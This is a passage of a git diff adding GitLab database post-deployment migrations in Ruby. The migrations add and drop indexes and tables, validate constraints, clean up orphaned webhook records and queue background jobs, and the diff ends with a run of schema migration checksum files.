--- /dev/null
+++ b/db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class SetIterationCadenceAutomaticToFalse < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ ActiveRecord::Base.connection.execute <<~SQL
+ UPDATE iterations_cadences
+ SET automatic = FALSE
+ WHERE iterations_cadences.automatic = TRUE
+ SQL
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210317155207_validate_not_null_constraint_on_cluster_token_name.rb b/db/post_migrate/20210317155207_validate_not_null_constraint_on_cluster_token_name.rb
new file mode 100644
index 00000000000..b77523c3a44
--- /dev/null
+++ b/db/post_migrate/20210317155207_validate_not_null_constraint_on_cluster_token_name.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class ValidateNotNullConstraintOnClusterTokenName < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ validate_not_null_constraint :cluster_agent_tokens, :name
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210322115438_validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.rb b/db/post_migrate/20210322115438_validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.rb
new file mode 100644
index 00000000000..96d9f383406
--- /dev/null
+++ b/db/post_migrate/20210322115438_validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class ValidateNotNullConstraintOnGitlabSubscriptionsNamespaceId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ validate_not_null_constraint :gitlab_subscriptions, :namespace_id
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210326121537_backfill_cleanup_for_partitioned_web_hook_logs.rb b/db/post_migrate/20210326121537_backfill_cleanup_for_partitioned_web_hook_logs.rb
new file mode 100644
index 00000000000..5816d02561e
--- /dev/null
+++ b/db/post_migrate/20210326121537_backfill_cleanup_for_partitioned_web_hook_logs.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class BackfillCleanupForPartitionedWebHookLogs < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::PartitioningMigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ finalize_backfilling_partitioned_table :web_hook_logs
+ end
+
+ def down
+ # no op
+ end
+end
diff --git a/db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb b/db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb
new file mode 100644
index 00000000000..f3da1cc69c4
--- /dev/null
+++ b/db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class RemoveTemporaryIndexFromVulnerabilitiesTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'temporary_index_vulnerabilities_on_id'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :vulnerabilities, INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :vulnerabilities, :id, where: "state = 2 AND (dismissed_at IS NULL OR dismissed_by_id IS NULL)", name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20210329102724_add_new_trail_plans.rb b/db/post_migrate/20210329102724_add_new_trail_plans.rb
new file mode 100644
index 00000000000..b142f6385f7
--- /dev/null
+++ b/db/post_migrate/20210329102724_add_new_trail_plans.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+class AddNewTrailPlans < ActiveRecord::Migration[6.0]
+ class Plan < ActiveRecord::Base
+ self.inheritance_column = :_type_disabled
+
+ has_one :limits, class_name: 'PlanLimits'
+
+ def actual_limits
+ self.limits || self.build_limits
+ end
+ end
+
+ class PlanLimits < ActiveRecord::Base
+ self.inheritance_column = :_type_disabled
+
+ belongs_to :plan
+ end
+
+ def create_plan_limits(plan_limit_name, plan)
+ plan_limit = Plan.find_or_initialize_by(name: plan_limit_name).actual_limits.dup
+ plan_limit.plan = plan
+ plan_limit.save!
+ end
+
+ def up
+ return unless Gitlab.dev_env_or_com?
+
+ ultimate_trial = Plan.create!(name: 'ultimate_trial', title: 'Ultimate Trial')
+ premium_trial = Plan.create!(name: 'premium_trial', title: 'Premium Trial')
+
+ create_plan_limits('gold', ultimate_trial)
+ create_plan_limits('silver', premium_trial)
+ end
+
+ def down
+ return unless Gitlab.dev_env_or_com?
+
+ Plan.where(name: %w(ultimate_trial premium_trial)).delete_all
+ end
+end
diff --git a/db/post_migrate/20210330091751_remove_records_without_group_from_webhooks_table.rb b/db/post_migrate/20210330091751_remove_records_without_group_from_webhooks_table.rb
new file mode 100644
index 00000000000..c384aa25ac4
--- /dev/null
+++ b/db/post_migrate/20210330091751_remove_records_without_group_from_webhooks_table.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class RemoveRecordsWithoutGroupFromWebhooksTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ class WebHook < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'web_hooks'
+ end
+
+ class Group < ActiveRecord::Base
+ self.inheritance_column = :_type_disabled
+ self.table_name = 'namespaces'
+ end
+
+ def up
+ subquery = Group.select(1).where(Group.arel_table[:id].eq(WebHook.arel_table[:group_id]))
+
+ WebHook.each_batch(of: 500, column: :id) do |relation|
+ relation.where(type: 'GroupHook').where.not('EXISTS (?)', subquery).delete_all
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb b/db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb
new file mode 100644
index 00000000000..fd77d4d7a4b
--- /dev/null
+++ b/db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class DropFindingFingerprintTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ FINGERPRINT_IDX = :idx_vuln_fingerprints_on_occurrences_id_and_fingerprint_sha256
+ UNIQ_IDX = :idx_vuln_fingerprints_uniqueness_fingerprint_sha256
+
+ def up
+ with_lock_retries do
+ drop_table :vulnerability_finding_fingerprints
+ end
+ end
+
+ def down
+ with_lock_retries do
+ create_table :vulnerability_finding_fingerprints do |t|
+ t.references :finding,
+ index: true,
+ null: false,
+ foreign_key: { to_table: :vulnerability_occurrences, column: :finding_id, on_delete: :cascade }
+
+ t.timestamps_with_timezone null: false
+
+ t.integer :algorithm_type, null: false, limit: 2
+ t.binary :fingerprint_sha256, null: false
+
+ t.index %i[finding_id fingerprint_sha256],
+ name: FINGERPRINT_IDX,
+ unique: true # only one link should exist between occurrence and the fingerprint
+
+ t.index %i[finding_id algorithm_type fingerprint_sha256],
+ name: UNIQ_IDX,
+ unique: true # these should be unique
+ end
+ end
+ end
+end
diff --git a/db/post_migrate/20210331105335_drop_non_partitioned_audit_events.rb b/db/post_migrate/20210331105335_drop_non_partitioned_audit_events.rb
new file mode 100644
index 00000000000..7c32fc61711
--- /dev/null
+++ b/db/post_migrate/20210331105335_drop_non_partitioned_audit_events.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+class DropNonPartitionedAuditEvents < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ include Gitlab::Database::PartitioningMigrationHelpers::TableManagementHelpers
+
+ DOWNTIME = false
+
+ def up
+ drop_nonpartitioned_archive_table(:audit_events)
+ end
+
+ def down
+ execute(<<~SQL)
+ CREATE TABLE audit_events_archived (
+ id integer NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ created_at timestamp without time zone,
+ ip_address inet,
+ author_name text,
+ entity_path text,
+ target_details text,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_82294106dd CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+ );
+
+ ALTER TABLE ONLY audit_events_archived ADD CONSTRAINT audit_events_archived_pkey PRIMARY KEY (id);
+
+ CREATE INDEX analytics_index_audit_events_on_created_at_and_author_id ON audit_events_archived USING btree (created_at, author_id);
+ CREATE INDEX idx_audit_events_on_entity_id_desc_author_id_created_at ON audit_events_archived USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+ SQL
+
+ with_lock_retries do
+ create_trigger_to_sync_tables(:audit_events, :audit_events_archived, 'id')
+ end
+ end
+end
diff --git a/db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb b/db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb
new file mode 100644
index 00000000000..6e3f7ae34d1
--- /dev/null
+++ b/db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class MoveContainerRegistryEnabledToProjectFeatures2 < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ BATCH_SIZE = 21_000
+ MIGRATION = 'MoveContainerRegistryEnabledToProjectFeature'
+
+ disable_ddl_transaction!
+
+ class Project < ActiveRecord::Base
+ include EachBatch
+ self.table_name = 'projects'
+ end
+
+ def up
+ delete_queued_jobs('MoveContainerRegistryEnabledToProjectFeature')
+
+ queue_background_migration_jobs_by_range_at_intervals(Project, MIGRATION, 2.minutes, batch_size: BATCH_SIZE, track_jobs: true)
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb b/db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb
new file mode 100644
index 00000000000..a29babca93e
--- /dev/null
+++ b/db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class AddSourceAndLevelIndexOnNotificationSettings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_WITH_SOURCE_LEVEL_USER_NAME = 'index_notification_settings_on_source_and_level_and_user'
+ INDEX_WITH_SOURCE_NAME = 'index_notification_settings_on_source_id_and_source_type'
+ INDEX_WITH_USER_NAME = 'index_notification_settings_on_user_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :notification_settings, [:source_id, :source_type, :level, :user_id], name: INDEX_WITH_SOURCE_LEVEL_USER_NAME
+ remove_concurrent_index_by_name :notification_settings, INDEX_WITH_SOURCE_NAME # Above index expands this index
+ remove_concurrent_index_by_name :notification_settings, INDEX_WITH_USER_NAME # It is redundant as we already have unique index on (user_id, source_id, source_type)
+ end
+
+ def down
+ add_concurrent_index :notification_settings, [:source_id, :source_type], name: INDEX_WITH_SOURCE_NAME
+ add_concurrent_index :notification_settings, [:user_id], name: INDEX_WITH_USER_NAME
+ remove_concurrent_index_by_name :notification_settings, INDEX_WITH_SOURCE_LEVEL_USER_NAME
+ end
+end
diff --git a/db/post_migrate/20210406144743_backfill_total_tuple_count_for_batched_migrations.rb b/db/post_migrate/20210406144743_backfill_total_tuple_count_for_batched_migrations.rb
new file mode 100644
index 00000000000..5fc5a5b2b6e
--- /dev/null
+++ b/db/post_migrate/20210406144743_backfill_total_tuple_count_for_batched_migrations.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class BackfillTotalTupleCountForBatchedMigrations < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ return unless should_run?
+
+ Gitlab::Database::BackgroundMigration::BatchedMigration.all.each do |migration|
+ total_tuple_count = Gitlab::Database::PgClass.for_table(migration.table_name)&.cardinality_estimate
+
+ migration.update(total_tuple_count: total_tuple_count)
+ end
+ end
+
+ def down
+ return unless should_run?
+
+ Gitlab::Database::BackgroundMigration::BatchedMigration.update_all(total_tuple_count: nil)
+ end
+
+ private
+
+ def should_run?
+ Gitlab.dev_or_test_env? || Gitlab.com?
+ end
+end
diff --git a/db/post_migrate/20210407150240_confirm_support_bot_user.rb b/db/post_migrate/20210407150240_confirm_support_bot_user.rb
new file mode 100644
index 00000000000..c26ae153128
--- /dev/null
+++ b/db/post_migrate/20210407150240_confirm_support_bot_user.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class ConfirmSupportBotUser < ActiveRecord::Migration[6.0]
+ SUPPORT_BOT_TYPE = 1
+
+ def up
+ users = Arel::Table.new(:users)
+ um = Arel::UpdateManager.new
+ um.table(users)
+ .where(users[:user_type].eq(SUPPORT_BOT_TYPE))
+ .where(users[:confirmed_at].eq(nil))
+ .set([[users[:confirmed_at], Arel::Nodes::NamedFunction.new('COALESCE', [users[:created_at], Arel::Nodes::SqlLiteral.new('NOW()')])]])
+ connection.execute(um.to_sql)
+ end
+
+ def down
+ # no op
+
+ # The up migration allows for the possibility that the support user might
+ # have already been manually confirmed. It's not reversible as this data is
+ # subsequently lost.
+ end
+end
diff --git a/db/post_migrate/20210409185501_index_members_on_user_id_source_id_source_type.rb b/db/post_migrate/20210409185501_index_members_on_user_id_source_id_source_type.rb
new file mode 100644
index 00000000000..d20eb5e4ea3
--- /dev/null
+++ b/db/post_migrate/20210409185501_index_members_on_user_id_source_id_source_type.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class IndexMembersOnUserIdSourceIdSourceType < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_members_on_user_id_source_id_source_type'
+
+ def up
+ add_concurrent_index(:members, [:user_id, :source_id, :source_type], name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:members, INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20210409185531_remove_members_index_on_user_id.rb b/db/post_migrate/20210409185531_remove_members_index_on_user_id.rb
new file mode 100644
index 00000000000..3f330e44408
--- /dev/null
+++ b/db/post_migrate/20210409185531_remove_members_index_on_user_id.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class RemoveMembersIndexOnUserId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_members_on_user_id'
+
+ def up
+ remove_concurrent_index_by_name(:members, INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(:members, :user_id, name: INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20210413092922_add_index_to_packages_maven_metadata_path.rb b/db/post_migrate/20210413092922_add_index_to_packages_maven_metadata_path.rb
new file mode 100644
index 00000000000..697b9f9cbf7
--- /dev/null
+++ b/db/post_migrate/20210413092922_add_index_to_packages_maven_metadata_path.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToPackagesMavenMetadataPath < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_packages_maven_metadata_on_path'
+
+ def up
+ add_concurrent_index :packages_maven_metadata, :path, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :packages_maven_metadata, :path, name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb b/db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb
new file mode 100644
index 00000000000..6453993bd51
--- /dev/null
+++ b/db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class AddPartitionedWebHookLogFk < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::PartitioningMigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_partitioned_foreign_key :web_hook_logs_part_0c5294f417,
+ :web_hooks,
+ column: :web_hook_id,
+ on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :web_hook_logs_part_0c5294f417, column: :web_hook_id
+ end
+ end
+end
diff --git a/db/post_migrate/20210413132500_reschedule_artifact_expiry_backfill_again.rb b/db/post_migrate/20210413132500_reschedule_artifact_expiry_backfill_again.rb
new file mode 100644
index 00000000000..b4570c8398b
--- /dev/null
+++ b/db/post_migrate/20210413132500_reschedule_artifact_expiry_backfill_again.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+class RescheduleArtifactExpiryBackfillAgain < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ MIGRATION = 'BackfillArtifactExpiryDate'
+ SWITCH_DATE = Date.new(2020, 06, 22).freeze
+
+ disable_ddl_transaction!
+
+ class JobArtifact < ActiveRecord::Base
+ include EachBatch
+
+ self.inheritance_column = :_type_disabled
+ self.table_name = 'ci_job_artifacts'
+
+ scope :without_expiry_date, -> { where(expire_at: nil) }
+ scope :before_switch, -> { where("date(created_at AT TIME ZONE 'UTC') < ?::date", SWITCH_DATE) }
+ end
+
+ def up
+ Gitlab::BackgroundMigration.steal(MIGRATION) do |job|
+ job.delete
+
+ false
+ end
+
+ queue_background_migration_jobs_by_range_at_intervals(
+ JobArtifact.without_expiry_date.before_switch,
+ MIGRATION,
+ 2.minutes,
+ batch_size: 200_000
+ )
+ end
+
+ def down
+ Gitlab::BackgroundMigration.steal(MIGRATION) do |job|
+ job.delete
+
+ false
+ end
+ end
+end
diff --git a/db/post_migrate/20210415074645_index_members_on_user_id_access_level_requested_at_is_null.rb b/db/post_migrate/20210415074645_index_members_on_user_id_access_level_requested_at_is_null.rb
new file mode 100644
index 00000000000..fb379d48b2a
--- /dev/null
+++ b/db/post_migrate/20210415074645_index_members_on_user_id_access_level_requested_at_is_null.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class IndexMembersOnUserIdAccessLevelRequestedAtIsNull < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_members_on_user_id_and_access_level_requested_at_is_null'
+
+ def up
+ add_concurrent_index(:members, [:user_id, :access_level], where: 'requested_at IS NULL', name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:members, INDEX_NAME)
+ end
+end
diff --git a/db/schema_migrations/20201218194311 b/db/schema_migrations/20201218194311
new file mode 100644
index 00000000000..f9beba74a8c
--- /dev/null
+++ b/db/schema_migrations/20201218194311
@@ -0,0 +1 @@
+7c33bd30af66ebb9a837c72e2ced107f015d4a22c7b6393554a9299bf3907cc0 \ No newline at end of file
diff --git a/db/schema_migrations/20210106061254 b/db/schema_migrations/20210106061254
new file mode 100644
index 00000000000..3780e444cd3
--- /dev/null
+++ b/db/schema_migrations/20210106061254
@@ -0,0 +1 @@
+f4c81be1168dc8dc3eaadbc9b0d46cfd5aefa0b9e4d61fa8276bbc4f59216da8 \ No newline at end of file
diff --git a/db/schema_migrations/20210219211845 b/db/schema_migrations/20210219211845
new file mode 100644
index 00000000000..ad45eee91b5
--- /dev/null
+++ b/db/schema_migrations/20210219211845
@@ -0,0 +1 @@
+b58f2853d7a2d9a821198f69c5913d290404a4961410dd66d256eefc7ecf1026 \ No newline at end of file
diff --git a/db/schema_migrations/20210223230600 b/db/schema_migrations/20210223230600
new file mode 100644
index 00000000000..be6e0621771
--- /dev/null
+++ b/db/schema_migrations/20210223230600
@@ -0,0 +1 @@
+18d64af208338baec9d56a6ac9d7fc35aaeb79d3f8036d3cf5bcc72879827299 \ No newline at end of file
diff --git a/db/schema_migrations/20210224161552 b/db/schema_migrations/20210224161552
new file mode 100644
index 00000000000..1fd37a69dd3
--- /dev/null
+++ b/db/schema_migrations/20210224161552
@@ -0,0 +1 @@
+328e095123eb0b8822342b0d4a338d42265ca8eafbcadcc7e15628e9d02c863d \ No newline at end of file
diff --git a/db/schema_migrations/20210226141517 b/db/schema_migrations/20210226141517
new file mode 100644
index 00000000000..00c57cbe827
--- /dev/null
+++ b/db/schema_migrations/20210226141517
@@ -0,0 +1 @@
+400dd521f5c462afdcb3c556815f840e916df7576a6d6dd301fe5a49a1fe6011 \ No newline at end of file
diff --git a/db/schema_migrations/20210302025305 b/db/schema_migrations/20210302025305
new file mode 100644
index 00000000000..935006818be
--- /dev/null
+++ b/db/schema_migrations/20210302025305
@@ -0,0 +1 @@
+bf47b1c4840c97459f99308d9de04644d18c301659ef5f021088911155d2c624 \ No newline at end of file
diff --git a/db/schema_migrations/20210302150310 b/db/schema_migrations/20210302150310
new file mode 100644
index 00000000000..251fdb0ba8e
--- /dev/null
+++ b/db/schema_migrations/20210302150310
@@ -0,0 +1 @@
+7c562d43801c18af48dc526dc6574aebd11689b62bad864b107580d341ba64a1 \ No newline at end of file
diff --git a/db/schema_migrations/20210305031822 b/db/schema_migrations/20210305031822
new file mode 100644
index 00000000000..8c09ba8d22f
--- /dev/null
+++ b/db/schema_migrations/20210305031822
@@ -0,0 +1 @@
+d91eb442db670adef6d610a2c79259377709e5c98615ba10b85eb998715b3130 \ No newline at end of file
diff --git a/db/schema_migrations/20210305180331 b/db/schema_migrations/20210305180331
new file mode 100644
index 00000000000..a7d9a6d10f3
--- /dev/null
+++ b/db/schema_migrations/20210305180331
@@ -0,0 +1 @@
+cf63d7ffd6bfb93c25c894b26424e9890b43652b4f0bfc259917a4857ff414e2 \ No newline at end of file
diff --git a/db/schema_migrations/20210305182740 b/db/schema_migrations/20210305182740
new file mode 100644
index 00000000000..3e45c9cd1d5
--- /dev/null
+++ b/db/schema_migrations/20210305182740
@@ -0,0 +1 @@
+4c1ae24594ccb85706a4c9836ed1fc8ce47d68863262e90b9109ddc1d83d121b \ No newline at end of file
diff --git a/db/schema_migrations/20210305182855 b/db/schema_migrations/20210305182855
new file mode 100644
index 00000000000..4e42b8d3f99
--- /dev/null
+++ b/db/schema_migrations/20210305182855
@@ -0,0 +1 @@
+8f9957b7f7744e3d72bba1b2bf9bd2c9a06203091bf8f9dcafc69755db25fef0 \ No newline at end of file
diff --git a/db/schema_migrations/20210305183904 b/db/schema_migrations/20210305183904
new file mode 100644
index 00000000000..7e391fc6bc5
--- /dev/null
+++ b/db/schema_migrations/20210305183904
@@ -0,0 +1 @@
+43af4a4200ba87ebb50627d341bb324896cbe0c36896d50dd81a8a9cfb2eb426 \ No newline at end of file
diff --git a/db/schema_migrations/20210308175224 b/db/schema_migrations/20210308175224
new file mode 100644
index 00000000000..c222b9101af
--- /dev/null
+++ b/db/schema_migrations/20210308175224
@@ -0,0 +1 @@
+ad6e0feff16589839714098a69673edcba50af7a62d98cd078585c5d2aada919 \ No newline at end of file
diff --git a/db/schema_migrations/20210308175225 b/db/schema_migrations/20210308175225
new file mode 100644
index 00000000000..7fb92d10f8c
--- /dev/null
+++ b/db/schema_migrations/20210308175225
@@ -0,0 +1 @@
+9263c522f0632f5b4fc0004e1fe9666bc3a44e4f70cf0d21aab5bb229f08ab5c \ No newline at end of file
diff --git a/db/schema_migrations/20210308175226 b/db/schema_migrations/20210308175226
new file mode 100644
index 00000000000..4d126ff2b63
--- /dev/null
+++ b/db/schema_migrations/20210308175226
@@ -0,0 +1 @@
+72491b1834a1256a197e8f49c599b28b41773226db4fe70ce402903674d2f622 \ No newline at end of file
diff --git a/db/schema_migrations/20210308175227 b/db/schema_migrations/20210308175227
new file mode 100644
index 00000000000..66aaf4ca558
--- /dev/null
+++ b/db/schema_migrations/20210308175227
@@ -0,0 +1 @@
+e99b8a6242589992ae8b618cb502d16b67672856cef024c1aafe00a1e64e41b9 \ No newline at end of file
diff --git a/db/schema_migrations/20210309160106 b/db/schema_migrations/20210309160106
new file mode 100644
index 00000000000..d10e9176a71
--- /dev/null
+++ b/db/schema_migrations/20210309160106
@@ -0,0 +1 @@
+968ba7808c969e29f1c3b6b635bff22f986b60e56cb001737ad8aba1825fd945 \ No newline at end of file
diff --git a/db/schema_migrations/20210311022012 b/db/schema_migrations/20210311022012
new file mode 100644
index 00000000000..fbfe6d2cd23
--- /dev/null
+++ b/db/schema_migrations/20210311022012
@@ -0,0 +1 @@
+77d023cc7b635f5b3fc4d8c963183ca15e90f6bb747c145bd8efd1a4e47f65a0 \ No newline at end of file
diff --git a/db/schema_migrations/20210311045138 b/db/schema_migrations/20210311045138
new file mode 100644
index 00000000000..3dcf40429f9
--- /dev/null
+++ b/db/schema_migrations/20210311045138
@@ -0,0 +1 @@
+01bbe2af2bc6bdaa6bf1e2fe10557e3f9f969cc60a348f188fbfe126ea7ea97d \ No newline at end of file
diff --git a/db/schema_migrations/20210311045139 b/db/schema_migrations/20210311045139
new file mode 100644
index 00000000000..71026c1b2af
--- /dev/null
+++ b/db/schema_migrations/20210311045139
@@ -0,0 +1 @@
+2387c8a5516aaf8bcf44c9bad45bfc9844d68d2c03330f67773ce046b21a7a6c \ No newline at end of file
diff --git a/db/schema_migrations/20210311093723 b/db/schema_migrations/20210311093723
new file mode 100644
index 00000000000..9036880454b
--- /dev/null
+++ b/db/schema_migrations/20210311093723
@@ -0,0 +1 @@
+6af1c870e685b5a7fbc31b658959018c313713f0f35ad776f97d0a804f1c0f05 \ No newline at end of file
diff --git a/db/schema_migrations/20210311120152 b/db/schema_migrations/20210311120152
new file mode 100644
index 00000000000..d5e739cdf05
--- /dev/null
+++ b/db/schema_migrations/20210311120152
@@ -0,0 +1 @@
+2ad45eaf6589600d9aadd225b55451d9213a4d858ef2717b7151062f1db225c8 \ No newline at end of file
diff --git a/db/schema_migrations/20210311120153 b/db/schema_migrations/20210311120153
new file mode 100644
index 00000000000..2d8f5b253ef
--- /dev/null
+++ b/db/schema_migrations/20210311120153
@@ -0,0 +1 @@
+3486452547ffa5da3e12837d2f184e356c90fdd1f016f85144a1ba4865825e87 \ No newline at end of file
diff --git a/db/schema_migrations/20210311120154 b/db/schema_migrations/20210311120154
new file mode 100644
index 00000000000..c3007047230
--- /dev/null
+++ b/db/schema_migrations/20210311120154
@@ -0,0 +1 @@
+e169ea265b942f636b2386a432e04d9dfccdc95f04113400d44ce59e81537843 \ No newline at end of file
diff --git a/db/schema_migrations/20210311120155 b/db/schema_migrations/20210311120155
new file mode 100644
index 00000000000..2d17acdc9f4
--- /dev/null
+++ b/db/schema_migrations/20210311120155
@@ -0,0 +1 @@
+b7af086a68c530dd528c4ceaf4bca8d04951c0f234f75a09922aa392bb17a796 \ No newline at end of file
diff --git a/db/schema_migrations/20210311120156 b/db/schema_migrations/20210311120156
new file mode 100644
index 00000000000..b2ac3c856af
--- /dev/null
+++ b/db/schema_migrations/20210311120156
@@ -0,0 +1 @@
+4715c46f5d76c8eb3a206ad3bbcc94a8c13d1d6a66a7824dba400b0aa49c8aa6 \ No newline at end of file
diff --git a/db/schema_migrations/20210312140029 b/db/schema_migrations/20210312140029
new file mode 100644
index 00000000000..7b4d553e244
--- /dev/null
+++ b/db/schema_migrations/20210312140029
@@ -0,0 +1 @@
+5d63a48f4a9327f683eff093d2862a0b88aa4249c94b2de9751ed6172c9b4799 \ No newline at end of file
diff --git a/db/schema_migrations/20210312174321 b/db/schema_migrations/20210312174321
new file mode 100644
index 00000000000..5126ab2675d
--- /dev/null
+++ b/db/schema_migrations/20210312174321
@@ -0,0 +1 @@
+4fa88193ae328f04465980210d9a43ce8cad978c157bda5e8ae9951538209268 \ No newline at end of file
diff --git a/db/schema_migrations/20210312193532 b/db/schema_migrations/20210312193532
new file mode 100644
index 00000000000..af5cd0b163c
--- /dev/null
+++ b/db/schema_migrations/20210312193532
@@ -0,0 +1 @@
+93e92e8eca0765cb8e6e08ec90ce0143d9b31d13e4d61e1b9690dbaed5a1bb63 \ No newline at end of file
diff --git a/db/schema_migrations/20210313045617 b/db/schema_migrations/20210313045617
new file mode 100644
index 00000000000..d422d0ab5d2
--- /dev/null
+++ b/db/schema_migrations/20210313045617
@@ -0,0 +1 @@
+d1e6596e9c6825e29c50523dce60fd3d0b3c067c10e210f74640ba94f7938871 \ No newline at end of file
diff --git a/db/schema_migrations/20210313045845 b/db/schema_migrations/20210313045845
new file mode 100644
index 00000000000..8e2b5605f8b
--- /dev/null
+++ b/db/schema_migrations/20210313045845
@@ -0,0 +1 @@
+bc6302444f7a0a858c821d971fc45a4ececd7b877020f8e920a244866c60b7a2 \ No newline at end of file
diff --git a/db/schema_migrations/20210316094047 b/db/schema_migrations/20210316094047
new file mode 100644
index 00000000000..d5d23d1e2c2
--- /dev/null
+++ b/db/schema_migrations/20210316094047
@@ -0,0 +1 @@
+208df71aa7c2dc447ea8f63ca8cc02344a78bd739c7a0e9457c665bfb831a879 \ No newline at end of file
diff --git a/db/schema_migrations/20210316094323 b/db/schema_migrations/20210316094323
new file mode 100644
index 00000000000..9ad5baba2bd
--- /dev/null
+++ b/db/schema_migrations/20210316094323
@@ -0,0 +1 @@
+e1d83121dd3bd1a608626910a8238546816870f6f36840d96b2b4ac3415af985 \ No newline at end of file
diff --git a/db/schema_migrations/20210316152500 b/db/schema_migrations/20210316152500
new file mode 100644
index 00000000000..fe2f477a9d7
--- /dev/null
+++ b/db/schema_migrations/20210316152500
@@ -0,0 +1 @@
+c2e3f8f6f283d919d99b0acf970f663fef8ca30ef277116401549014fc99ae91 \ No newline at end of file
